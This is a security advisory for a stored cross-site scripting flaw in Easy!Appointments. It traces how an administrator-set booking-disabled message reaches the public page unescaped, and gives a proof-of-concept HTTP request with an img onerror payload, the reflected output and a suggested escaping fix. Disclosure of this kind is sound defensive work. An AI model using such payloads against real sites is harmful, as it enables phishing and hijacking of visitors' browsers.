GHSA-996f-334j-67g7
Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS
Details
## Summary Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization: ```php <p><?= vars('message_text') ?></p> ``` An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. --- ## Root Cause — Step by Step Code Flow ### Step 1 — Rich text editor value stored without sanitization The booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML: ```javascript // assets/js/pages/booking_settings.js line 61-92 bookingSettings.push({ name: 'disable_booking_message', value: $disableBookingMessage.trumbowyg('html'), }); ``` ### Step 2 — Settings controller saves value verbatim The backend settings controller persists the submitted value without any HTML sanitization: ```php // application/controllers/Booking_settings.php line 76-104 $this->settings_model->save($setting); ``` ### Step 3 — Public booking controller forwards stored value to view When booking is disabled, the public booking controller loads the stored message and passes it directly to the view: ```php // application/controllers/Booking.php line 113-132 $disable_booking_message = setting('disable_booking_message'); html_vars([ 'message_text' => $disable_booking_message, ]); ``` ### Step 4 — Public view renders value without escaping The booking message view emits the value raw using PHP's short echo tag with no escaping: ```php // application/views/pages/booking_message.php line 10-12 <p><?= vars('message_text') ?></p> ``` No `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path. --- ## Proof of Concept **Step 1 — Store malicious disabled-booking message as admin:** ```http POST /index.php/booking_settings/save HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <admin-session-cookie> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")> ``` Response: `200 OK` — settings saved successfully **Step 2 — Unauthenticated visitor opens public booking page:** ```http GET / HTTP/1.1 Host: 127.0.0.1:18094 (no authentication) ``` **Observed response fragment:** ```html <p><img src=x onerror=alert("easyappointments xss by ashrexon")></p> ``` **Observed browser behavior:** `alert("easyappointments xss by ashrexon")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment. **Runtime verification result:** ``` admin login ok settings save ok payload reflected on public page PASS ``` --- ## Real World Impact Easy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to: - Execute arbitrary JavaScript in visitor browsers on the trusted booking domain - Phish visitor credentials or personal information during booking downtime - Deface the public booking page during maintenance or outage windows - Redirect visitors to attacker-controlled sites --- ## Suggested Fix Escape the message value before rendering in the view: ```php // application/views/pages/booking_message.php <p><?= e(vars('message_text')) ?></p> ``` Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection. --- ## Reporter **Yash Shendge (ashrexon)** 2026-05-25
Are you affected?
Enter the version of the package you're using.
Affected packages
0 No fixed version published yet for alextselegidis/easyappointments (composer). Pin to a known-safe version or switch to an alternative.
References
- https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-996f-334j-67g7 [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-52838 [ADVISORY]
- https://github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae [WEB]
- https://github.com/alextselegidis/easyappointments [PACKAGE]
- https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0 [WEB]